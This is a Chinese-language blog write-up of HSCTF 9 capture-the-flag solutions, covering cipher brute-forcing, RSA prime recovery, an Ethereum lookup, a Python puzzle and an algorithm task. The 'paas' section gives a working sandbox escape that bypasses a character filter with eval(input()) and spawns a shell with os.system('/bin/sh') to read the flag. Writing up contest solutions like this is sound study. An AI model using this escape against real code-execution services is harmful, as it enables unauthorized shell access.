HSCTF 9

HSCTF 9

MISC

the-great-directory-egg-hunt

Description:

1
Lots of branching paths, but how do we get to the correct file?

附件是一个压缩包。
解压后里面目录很多。每个叶子都是一个file.txt文件。看来我们需要在这里面找到我们的flag。
这个直接用windows自带的搜索就行了。不过要打开搜索文件内容的选项。

1
.\Tw\3l\v3\_D\1r\s_\D3\3p\_6\Gi\TQ\Ez

这个目录下找到了相关文件。内容为:

1
2
If you followed the directories to here, you have found the flag!
Use the directory names (without slashes) as part of the flag, then wrap it in the flag format "flag{}".

那么flag为:

1
flag{Tw3lv3_D1rs_D33p_6GiTQEz}

onchain-baller

Description:

1
Have this Ropsten testnet address: 0x339d58bff8b8C5dAAfaF08fA77ad39C7909B194E

这个是以太坊的题。给了一个账户地址。找找看。
https://ropsten.etherscan.io/blocks
搜索这个地址。可以找到这个账户,这里有部分交易记录。
在Txn Hash为0xce01ddd8ad56b6b9b11796f9ebf1cd29e7034d82ff98978f2c4178a91a34cf46的交易中,其input data为:

1
2
3
0x68736374667b315f623431315f306e5f346e645f3066665f7468335f636834316e7d

# hsctf{1_b411_0n_4nd_0ff_th3_ch41n}

paas

Description:

1
Run Python code from anywhere! nc paas.hsctf.com 1337

nc连上后发现输入的代码都会被执行。但是他过滤了很多字符。比如 "./_’"这些。但是没有过滤括号。所以我们可以使用函数的。那么直接使用eval和input的组合就可以执行指令了。

1
2
3
4
5
6
7
8
9
10
11
12
== proof-of-work: disabled ==
Python as a Service:
Execute arbitrary Python code (with certain restrictions)
> eval(input())
__import__('os').system('/bin/sh')
ls
flag
paas.py
cat flag
flag{vuln3r4b1l17y_45_4_53rv1c3}

# flag{vuln3r4b1l17y_45_4_53rv1c3}

Crypto

lcvc

Description:

1
Ciphertext: mawhxyovhiiupukqnzdekudetmjmefkqjgmqndgtnrxqxludegwovdcdmjjhw Please wrap in the flag format: flag{}

一个附件,是加密算法。

1
2
3
4
5
6
7
8
9
state = 1
flag = "[REDACTED]"
alphabet = "abcdefghijklmnopqrstuvwxyz"
assert(flag[0:5]+flag[-1]=="flag{}")
ciphertext = ""
for character in flag[5:-1]:
state = (15*state+18)%29
ciphertext+=alphabet[(alphabet.index(character)+state)%26]
print(ciphertext)

这里直接爆破就行了。

1
2
3
4
5
6
7
8
9
10
11
 state = 1
alphabet = "abcdefghijklmnopqrstuvwxyz"
c = "mawhxyovhiiupukqnzdekudetmjmefkqjgmqndgtnrxqxludegwovdcdmjjhw"
for i in c :
state = (15 * state + 18) % 29
for j in alphabet:
if alphabet[(alphabet.index(j)+state)%26] == i:
print(j, end="")

# iguessthisiswhatyouwouldcallalinearcongruentialvigenerecipher
# flag{iguessthisiswhatyouwouldcallalinearcongruentialvigenerecipher}

quagmire-i

Description:

1
2
3
4
5
6
7
8
Bob was on his way to school and go to Mr. Connolly’s first period AP CSA class, but it was a rainy day and he got stuck in the quagmire in his town, making him late to school (specifically the first closest to his home, there are apparently four quagmires in his town)! Could you figure out what Mr. Connolly told Bob’s class? His classmate Alice sent this text message after class (written in Quagmire I):
```
Plaintext keyword: CONNOLLYROCKS
Indicator keyword: HSCTF
Indicator position: A
Ciphertext: LZXORNZBUYWNRARNOVGCLSQWJEFJFE
```
(Please wrap the flag in the flag format “flag{}”, and use only uppercase letters within the braces.)

不认识的加密,问问谷歌好了。找到一个解密的。

https://mysterytoolbox.organisingchaos.com/Ciphers/cipher/QuagmireI

Keyed Alphabet key和Vigenere Key分别是CONNOLLYROCKS和HSCTF。解密即可。

1
2
3
FILLTHISBOWLWITHYOURFAVEFRUITS

# flag{FILLTHISBOWLWITHYOURFAVEFRUITS}

baby-baby-rsa

Description:

1
You should do this by hand.

两个附件一个算法一个输出。这里我放一起了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import *
import random
flag = open('flag.txt','rb').read()
pt = bytes_to_long(flag)
bits = 768
p,q = getPrime(bits),getPrime(bits)
n = p*q
e = 0x10001
print(pow(pt,e,n))
bit_p = bin(p)[2:]
bit_q = bin(q)[2:]
parts = [bit_p[0:bits//3],bit_p[bits//3:2*bits//3],bit_p[2*bits//3:bits],bit_q[0:bits//3],bit_q[bits//3:2*bits//3],bit_q[2*bits//3:bits]]
random.shuffle(parts)
print(parts)

'''
54794426723900547461854843163768660308115034417111329528183606035659639395104723918632912086419836023341428265596988959206660015436864401403237748771765948022232575597127381504670391300908215025163138869313954305720403722718214862988965792884236612959443476803344992121865817757791519151566895512058656532409472494022672998848036223706004788146906885182892250477746430460414866512005225936680732094537985671236900243908114730784290372829952741399684135984046796
['0100101100001100010110110001000001001110010110110011101111100001101100000101000011111000101110011010010100101100011111000000101010011101100101010000101101110100100010101011100110001010001000000001000110000111011110011001101111110000100010000110000001110011', '1100001100001100111110011110110101001100100000000100000100011110110010010101000011111111000100001000111001100110010010010011110110110010010110110100010110100011011100101001100001010111000100000110101010101011011110110110101010110100011110010000101010000111', '1000100010110110010100111010100100111000100111100101100001011111100011000111110011101011011011100000101011000111010110010010011110100100110000001101110111001000000111100111011011000101010001111101000111100111110010011101011111100100111111011011110110101111', '1111001101111101111111111111001010001111100010100000010110011011100000000110010110000011011110101110001000001111110101101101111000000111101111111000011101011010000110111100000110000001001101101010100000010011000100010111100001011000101101111000101101110100', '1100100000100001010111110010000011000010100110101111100100011010111111110100011011111100001011101001010000100111100011100111000101110001001011110000000000000000000110111100000111100000111111010110010011000010011000110111001010000110011011111101011110000101', '0001101000011011010011100100000011010101110110111001111011000001010101101111110100011011010011111010001111011011100011111110101110101101111100100011111110011111010100001100011000111011010111110101000011110101011110110001011110001111011001101100110100000101']
'''

这里是把pq各拆成3份混在一起了。所以枚举一下就可以解决。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import itertools
import sympy
import libnum

c = ...
parts = [...]
e = 0x10001

for i in itertools.permutations(parts, 3):
p = libnum.s2n(libnum.b2s("".join(i)))
if not sympy.isprime(p):
continue
d = sympy.mod_inverse(e, p-1)
print(libnum.n2s(pow(c,d,p)))

# b'flag{flbg{flcg{fldg{fleg}}}}'
# b'flag{flbg{flcg{fldg{fleg}}}}'
# flag{flbg{flcg{fldg{fleg}}}}

otp

Description:

1
"the one-time pad (OTP) is an encryption technique that cannot be cracked" - Wikipedia

两个文件一个输出一个代码,放一起了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import random
from Crypto.Util.number import bytes_to_long

def secure_seed():
x = 0
# x is a random integer between 0 and 100000000000
for i in range(10000000000):
x += random.randint(0, random.randint(0, 10))
return x

flag = open('flag.txt','rb').read()
flag = bytes_to_long(flag)

random.seed(secure_seed())

l = len(bin(flag)) - 1
print(l)

k = random.getrandbits(l)
flag = flag ^ k # super secure encryption
print(flag)

# 328
# 444466166004822947723119817789495250410386698442581656332222628158680136313528100177866881816893557

没有啥思路,只能破解这个secure_seed是什么了。这个随机数的生成方式很奇怪。应为这样生成出来的随机数并不是在0~100000000000的,而是在25000000000附近的。这个结论你跑一个小规模的测试就能知道。即使这样我们很难去遍历他的周围,亿级别的搜索空间,好像也还是能遍历的。这边他生成出来的l还比flag多一位,我也不知道为啥,这里难道有什么可以利用的地方吗。

尝试爆破一下吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import random
import libnum

start = 100000000000//4
l = 328
cipher = 444466166004822947723119817789495250410386698442581656332222628158680136313528100177866881816893557

for i in range(1000000):
random.seed(start + i)
k = random.getrandbits(l)
if b"flag" in libnum.n2s(cipher^k):
print(start + i)
print(libnum.n2s(cipher^k))
break

random.seed(start - i)
k = random.getrandbits(l)
if b"flag" in libnum.n2s(cipher ^ k):
print(start - i)
print(libnum.n2s(cipher ^ k))
break

# 25000212790
# b'flag{c3ntr4l_l1m1t_th30r3m_15431008597}\r\n'

# flag{c3ntr4l_l1m1t_th30r3m_15431008597}

确实可以跑出来。

Reverse

adding

Description:

1
2
3
This program is taking too long... oh well addition is too hard for me

Please wrap the number in the proper flag format (flag{}).

看看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def func1(require = [], go = False):
if go:
require.append(20)
return require

add = func1(go = True)
require += add
return require

add = 10

def therealreal(update):
def modify(require = []):
require += update()

global add
require.append(add)
add += 10
return require

return modify

use = therealreal(func1)
upto = 213

calc = use()
for _ in range(1, upto+1):
calc = use(calc)

print(sum(calc))

python是真的能写出花来…

手动分析分析的我云里雾里的,有些变量的变化完全搞不懂…不如来直接看结果。

我先讲upto改成了3然后讲calc打印出来看看。

1
2
3
4
5
6
[
20, 20, 10,
20, 20, 20, 20, 20, 20, 20,
20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 30,
20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 40
]

这里其实可以看出来规律了。可以看到10,20,30,40算是一项的分界线。那么他们前面都是20这个数字。第一项20的个数是2个,而第二项是6个,后面是14,30。这里可以得到20的个数的递推式:

an=2(an1+1)a_n = 2(a_{n-1}+1)

第一项为2。那么我们可以得到后面每次增加的20的个数。

还有就是10,20,30这个数列。直接加上就好了。

所以每次use返回的就是以下数列:

Yn=10an+10bnan=2(an1+1)bn=nY_n = 10a_n + 10b_n \\ a_n = 2(a_{n-1}+1) \\ b_n = n

代码如下:

1
2
3
4
5
6
7
8
9
10
an = [4]
for _ in range(250):
an.append(an[-1]*2 + 4)
bn = [i for i in range(1, 251)]
Yn = [an[i] + bn[i] for i in range(len(bn))]

print(sum(Yn[:214])*10)

# 2106245833371143733958360553673408646377901908010982225086219772130
# flag{2106245833371143733958360553673408646377901908010982225086219772130}

Algorithm

这个分类,emmm有点像acm?

travelling-salesman

Description:

1
Euclidean traveling salesman over single dimension? nc travelling-salesman.hsctf.com 1337

有个算法附件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Task
You are handing out newspapers to classrooms in HSN. There is a list of classrooms given to you that you
have to visit. These classrooms are conveniently located in a single hallway, which has 100 classrooms
numbered 1 .. 100 in order. Since you are lazy, you want to minimize your walking distance. Given that you
must start and end at classroom 1, output the order of classes to visit in order to minimize your walking
distance. If there are multiple solutions, output any.
Interaction Details:
There will be 3 test cases.
For each test case, you will be given an array of integers representing the classrooms to visit. You will then be
prompted to enter a list of space separated integers representing the order in which the classrooms will be
visited.
Sample Interaction:
[59, 68, 24, 83]
order: 59 83 68 24
[27, 29, 43, 50, 78, 21, 70, 89, 93, 85]
order: 27 29 43 50 78 21 70 89 93 85
Distance too large

就是100个教室,我从第一个开始,走到给定的order的教室。要把全部需要的教室走完,最后回到1。这个其实直接排序就行了,最靠后的教室是一定要去的。所以我们只要走到最远的教室之中把需要的都走到就行,也就是排序。

1
2
3
4
5
6
7
8
9
10
11
import pwn

r = pwn.remote("travelling-salesman.hsctf.com", 1337)
r.recvline() # == proof-of-work: disabled ==

for _ in range(5):
order = eval(r.recvuntil(b"order:").replace(b"\norder:", b""))
print(order)
r.send(" ".join(list(map(str,sorted(order)))).encode("utf-8") + b"\n")

print(r.recvline())

就可以得到flag。

1
2
3
4
5
6
7
8
9
10
11
12
[x] Opening connection to travelling-salesman.hsctf.com on port 1337
[x] Opening connection to travelling-salesman.hsctf.com on port 1337: Trying 34.147.9.219
[+] Opening connection to travelling-salesman.hsctf.com on port 1337: Done
[66, 57, 61, 98]
[81, 97, 50, 42, 52, 15, 36, 51, 31, 85]
[78, 71, 27, 17, 54, 55, 83, 77, 64, 45, 58, 40, 20, 35, 29, 86, 34, 22, 48, 43, 19, 73, 33, 81, 70, 94, 16, 65, 36, 79]
[61, 46, 59, 58, 87, 75, 64, 52, 66, 81, 76, 74, 11, 22, 72, 14, 34, 85, 37, 45, 24, 43, 19, 36, 20, 27, 79, 69, 53, 56, 13, 62, 35, 60, 16, 39, 42, 93, 48, 26, 29, 33, 54, 99, 38, 65, 83, 12, 50, 84]
[84, 42, 72, 59, 46, 40, 73, 96, 70, 62, 33, 22, 92, 43, 29, 49, 71, 27, 41, 37, 97, 78, 50, 98, 74, 87, 85, 51, 65, 55, 14, 39, 12, 34, 89, 38, 75, 28, 86, 19, 81, 83, 63, 36, 52, 25, 69, 58, 48, 32]
b' flag{the_fitness_gram_pacer_test_is_a_multistage_aerobic_capacity_test_8182295882010254837}\n'
[*] Closed connection to travelling-salesman.hsctf.com port 1337

# flag{the_fitness_gram_pacer_test_is_a_multistage_aerobic_capacity_test_8182295882010254837}

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!